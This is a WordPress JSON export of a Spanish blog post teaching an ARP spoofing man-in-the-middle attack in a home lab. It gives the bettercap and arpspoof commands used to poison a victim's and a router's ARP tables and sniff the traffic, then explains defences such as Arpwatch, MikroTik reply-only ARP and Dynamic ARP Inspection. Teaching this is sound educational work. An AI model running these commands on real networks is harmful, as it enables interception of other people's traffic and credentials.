{"id":2278,"date":"2026-11-14T11:12:21","date_gmt":"2026-11-14T14:12:21","guid":{"rendered":"https:\/\/www.nerdadas.com\/blog\/?p=2278"},"modified":"2026-11-14T11:15:52","modified_gmt":"2026-11-14T14:15:52","slug":"arp-spoofing-para-estudiantes-de-redes","status":"publish","type":"post","link":"https:\/\/www.nerdadas.com\/blog\/arp-spoofing-para-estudiantes-de-redes\/","title":{"rendered":"ARP Spoofing para Estudiantes de redes"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Retomando los labs b\u00e1sicos de ciberseguridad, hoy nos metemos de lleno en la Capa 2 del modelo OSI para ver c\u00f3mo desviar tr\u00e1fico en una red local usando una t\u00e9cnica tan vieja como efectiva: <strong>ARP Spoofing<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cuando se habla de <em>Man-in-the-Middle<\/em> (MitM), los ejemplos cl\u00e1sicos siempre muestran capturas de Wireshark levantando credenciales en texto plano: <strong>un Telnet, un POST por HTTP (puerto 80)<\/strong> o correos viajando por <strong>POP3\/SMTP.<\/strong> <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El detalle es que en esos laboratorios solemos sniffear desde el mismo equipo que genera o recibe el tr\u00e1fico. Eso sirve para entender el protocolo, pero en redes reales con switches modernos, que a\u00edslan el tr\u00e1fico por puerto, escuchar lo que pasa al lado no es tan simple como en los viejos hubs o en una red WiFi abierta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En la pr\u00e1ctica, <strong>para hacer un MitM primero hay que forzar a que los paquetes pasen por nuestra m\u00e1quina. <\/strong>Ah\u00ed es donde entra en juego el <strong>envenenamiento ARP.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dominios de Broadcast y Dominios de Colisi\u00f3n<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">En redes se habla de<strong> dominio de broadcast<\/strong> a la topolog\u00eda donde los equipos se comunican entre si a trav\u00e9s de switches\/hubs o un medio donde los<strong> paquetes de broadcast puedan viajar libremente.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Los dominios de colisi\u00f3n, por el contrario, est\u00e1n separados por Routers<\/strong>, donde esos <strong>paquetes arp ya no pueden pasar<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En los dominios de broadcast (tu LAN), cuando <strong>equipo A<\/strong> quiere comunicarse con <strong>equipo B<\/strong> y solo tiene su IP (<strong>y obviamente equipo B est\u00e1 dentro de su misma direcci\u00f3n de red que A<\/strong>); Equipo A manda al switch un trama <strong>ARP Broadcast<\/strong>(Request).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Encabezado Ethernet (Capa 2)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>MAC Origen:<\/strong> La direcci\u00f3n MAC de la interfaz del equipo A (<code>MAC_A<\/code>).<\/li>\n\n\n\n<li><strong>MAC Destino:<\/strong> <code>FF:FF:FF:FF:FF:FF<\/code> (Direcci\u00f3n de Broadcast de Capa 2. Esto fuerza a que todos los switches inunden la trama por todos sus puertos dentro de la misma VLAN\/dominio de broadcast).<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Cuerpo del mensaje ARP<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Sender MAC (MAC Transmisor):<\/strong> <code>MAC_A<\/code><\/li>\n\n\n\n<li><strong>Sender IP (IP Transmisor):<\/strong> <code>IP_A<\/code><\/li>\n\n\n\n<li><strong>Target MAC (MAC Objetivo):<\/strong> <code>00:00:00:00:00:00<\/code> (Campo desconocido\/vac\u00edo, es justamente lo que se busca resolver).<\/li>\n\n\n\n<li><strong>Target IP (IP Objetivo):<\/strong> <code>IP_B<\/code><\/li>\n\n\n\n<li><strong>Opcode (C\u00f3digo de operaci\u00f3n):<\/strong> <code>1<\/code> (Indica que es una solicitud \/ <em>ARP Request<\/em>. El opcode 2 es el Reply, la respuesta).<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1008\" height=\"444\" src=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image.png\" alt=\"\" class=\"wp-image-2279\" srcset=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image.png 1008w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-300x132.png 300w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-767x338.png 767w\" sizes=\"auto, (max-width: 1008px) 100vw, 1008px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Una vez que el Equipo A y el B se conocen, ambos agendan sus MAC Adress para comunicarse entre si.<\/strong> Esta agenda \u00fanica que mantiene cada equipo tiene tambi\u00e9n una vigencia para asegurarse de que esos datos siguen siendo v\u00e1lidos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Equipo A solo enviar\u00e1 tramas ARP Request a equipos que est\u00e1n dentro de su red configurada, de lo contrario buscar\u00e1 la ARP de su Gateway para que sea el Router qui\u00e9n encuentre su destino.<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Si quer\u00e9s ver en tu PC qu\u00e9 equipos conoces podes hacerlo con:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#En Windows\narp -a\n#en Linux con\nip neig<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cuando lo hagas te vas a dar cuenta que <strong>tu equipo memoriza las MAC Address de los equipos de tu red<\/strong>(incluido tu gateway) y <strong>no los equipos alcanzados o conocidos a trav\u00e9s de un router o en redes distintas.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">ARP Spoofing<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Lo interesante del protocolo ARP es que cuando un equipo intenta encontrar la MAC Address del otro para comunicarse ambos memorizan sus MAC y sus IPS. No hay validaci\u00f3n de ning\u00fan tipo, ambos equipos se agendan con los datos intercambiados. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Este dato se vuelve clave en el ataque. El truco est\u00e1 en que la v\u00edctima crea que nosotros somos el Router y el Router crea que nosotros somos la v\u00edctima. De esa manera vamos a lograr que el tr\u00e1fico de la victima pase por nosotros y all\u00ed podremos inspeccionarlo.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-1.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1008\" height=\"444\" src=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-1.png\" alt=\"\" class=\"wp-image-2282\" srcset=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-1.png 1008w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-1-300x132.png 300w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-1-767x338.png 767w\" sizes=\"auto, (max-width: 1008px) 100vw, 1008px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">En el Debian atacante instalamos las herramientas:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt update\nsudo apt install -y bettercap dsniff ettercap-text-only tcpdump tshark nmap<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Luego vamos a revisar el entorno. Qu\u00e9 vemos desde nuestro Linux:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#Que ip tenemos\nip a \n\n#Ping al gateway\nping -c2 192.168.10.1\n \n#Nuestra tabla arp con los vecinos conocidos \nip neigh \n \n# o escane\u00e1 la LAN: \nnmap -sn 192.168.10.0\/24<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cuando redireccionemos el tr\u00e1fico de nuestra v\u00edctima a trav\u00e9s de nuestro equipo, el tr\u00e1fico, debe atravesarnos. Para que esto suceda <strong>configuramos nuestro linux como Router.<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#El viejo y conocido bit en forward\nsudo sysctl -w net.ipv4.ip_forward=1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Para referencias les dejo las macs e ips del lab:<br \/><strong>Atacante:<br \/><\/strong>0c:f4:6b:48:00:00<br \/>192.168.10.253<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>V\u00edctima:<br \/><\/strong>0c:5b:16:4c:00:00<br \/>192.168.10.252<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Router:<br \/><\/strong>0c:de:61:8e:00:01<br \/>192.168.10.1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vamos a iniciar <strong>bettercap<\/strong> en el atacante y empezamos a spoofear en la red.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#iniciando\nsudo bettercap -iface ens4\n\n\u00bb net.probe on\n\u00bb net.show                      # esper\u00e1 a que aparezca 192.168.10.252 CON su MAC\n\u00bb set arp.spoof.targets 192.168.10.252\n\u00bb set arp.spoof.fullduplex true\n\u00bb arp.spoof on\n\u00bb net.sniff on #Con este comando ya empieza a escuchar<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-2.png\"><img loading=\"lazy\" decoding=\"async\" width=\"662\" height=\"410\" src=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-2.png\" alt=\"\" class=\"wp-image-2288\" srcset=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-2.png 662w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-2-300x186.png 300w\" sizes=\"auto, (max-width: 662px) 100vw, 662px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Con <strong>net.show <\/strong>ya vemos los equipos en la red.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-3.png\"><img loading=\"lazy\" decoding=\"async\" width=\"662\" height=\"410\" src=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-3.png\" alt=\"\" class=\"wp-image-2289\" srcset=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-3.png 662w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/image-3-300x186.png 300w\" sizes=\"auto, (max-width: 662px) 100vw, 662px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Y al activar el <strong>net.sniff on<\/strong> ya podemos ver tr\u00e1fico atravesando nuestro equipo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Probamos acceder a google pero por <strong>http<\/strong>: en vez de <strong>https<\/strong>:(luego nos va a redireccionar igual)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"365\" src=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff-1024x365.png\" alt=\"\" class=\"wp-image-2291\" srcset=\"https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff-1024x365.png 1024w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff-300x107.png 300w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff-768x274.png 768w, https:\/\/www.nerdadas.com\/blog\/wp-content\/uploads\/2026\/11\/better_sniff.png 1306w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Si revisamos la configuraci\u00f3n del equipo v\u00edctima podemos ver los que <strong>en su tabla mac figuran datos que sabemos no son los correctos, nuestro envenenamiento!<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si queremos ver esto un poco m\u00e1s limpio, podemos ejecutar 2 terminales en el equipo atacante y con estos comandos ver en dos consolas lo mismo de otra manera. <strong>Arpspoof<\/strong> es m\u00e1s contundente envenenando que bettercap. En el Debian, dos terminales:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -w net.ipv4.ip_forward=1\n# Terminal 1\nsudo arpspoof -i ens4 -t 192.168.10.252 192.168.10.1\n# Terminal 2\nsudo arpspoof -i ens4 -t 192.168.10.1 192.168.10.252<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Y en la v\u00edctima, para no esperar prob\u00e1 con: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo ip neigh flush dev eth0\nip nei  <\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Mecanismos de Defensa<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Para detectar este tipo de ataques en una red corporativa, lo ideal es desplegar una instancia de <strong>Arpwatch<\/strong> escuchando en cada VLAN. Esta herramienta mantiene un registro hist\u00f3rico y dispara una alerta apenas detecta que una IP cambia de direcci\u00f3n MAC.. o peor a\u00fan, <strong>cuando una misma placa de red empieza a responder de golpe por m\u00faltiples IP<\/strong>s, un s\u00edntoma cl\u00e1sico de envenenamiento.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si prefer\u00eds hacer el an\u00e1lisis manual o confirmar el incidente en tiempo real, en <strong>Wireshark<\/strong> la huella es inconfundible: vas a empezar a ver tr\u00e1fico con <em>ARP replies<\/em> duplicados o contradictorios disput\u00e1ndose una misma direcci\u00f3n IP. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En MikroTik, la defensa propia es que el <strong>DHCP agregue entradas ARP y que la LAN solo acepte las ya conocidas:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/ip dhcp-server set &#91;find name=dhcp1] add-arp=yes\n\/interface ethernet set ether2 arp=reply-only<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Con esto el router ignora el ARP falso y mantiene el par IP\/MAC que entreg\u00f3 por DHCP. Eso protege el lado del router, pero el envenenamiento v\u00edctima -&gt; atacante sigue siendo posible en el switch, as\u00ed que la protecci\u00f3n completa es <strong>Dynamic ARP Inspection (DAI)<\/strong> en un switch administrable (el switch de GNS3 no lo tiene, es muy b\u00e1sico). En equipos cr\u00edticos, entradas ARP est\u00e1ticas en la v\u00edctima:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo ip neigh replace 192.168.10.1 lladdr &lt;MAC-real-del-MikroTik&gt; dev eth0<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Y la defensa de fondo: <strong>cifrar todo (TLS, SSH), <\/strong>porque aunque intercepten, no leen. Parece exagerado(validar mac, asegurar tr\u00e1fico, etc) pero date cuenta que <strong>el MiTM en una red corporativa no es algo de otro mundo<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para ser un buen defensor hay que tener en claro a que nos enfrentamos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u00abTodo el arte de la guerra se basa en el enga\u00f1o.\u00bb (Sun Tzu, <em>El arte de la guerra<\/em>)<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Retomando los labs b\u00e1sicos de ciberseguridad, hoy nos metemos de lleno en la Capa 2 del modelo OSI para ver c\u00f3mo desviar tr\u00e1fico en una red local usando una t\u00e9cnica tan vieja como efectiva: ARP Spoofing. Cuando se habla de Man-in-the-Middle (MitM), los ejemplos cl\u00e1sicos siempre muestran capturas de Wireshark levantando credenciales en texto plano: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2297,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1427,1241,1223,161,17,804],"tags":[1498,1501,1500,282,210,37,1230,242,569,869,138],"class_list":["post-2278","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","category-hardening","category-redes","category-seguridad","category-tecnologia","category-ti","tag-arp","tag-arspoof","tag-bettercap","tag-hack","tag-hacker","tag-linux","tag-mikrotik","tag-network","tag-redes","tag-seguridad","tag-trabajo"],"_links":{"self":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/2278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/comments?post=2278"}],"version-history":[{"count":16,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/2278\/revisions"}],"predecessor-version":[{"id":2302,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/2278\/revisions\/2302"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/media\/2297"}],"wp:attachment":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/media?parent=2278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/categories?post=2278"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/tags?post=2278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}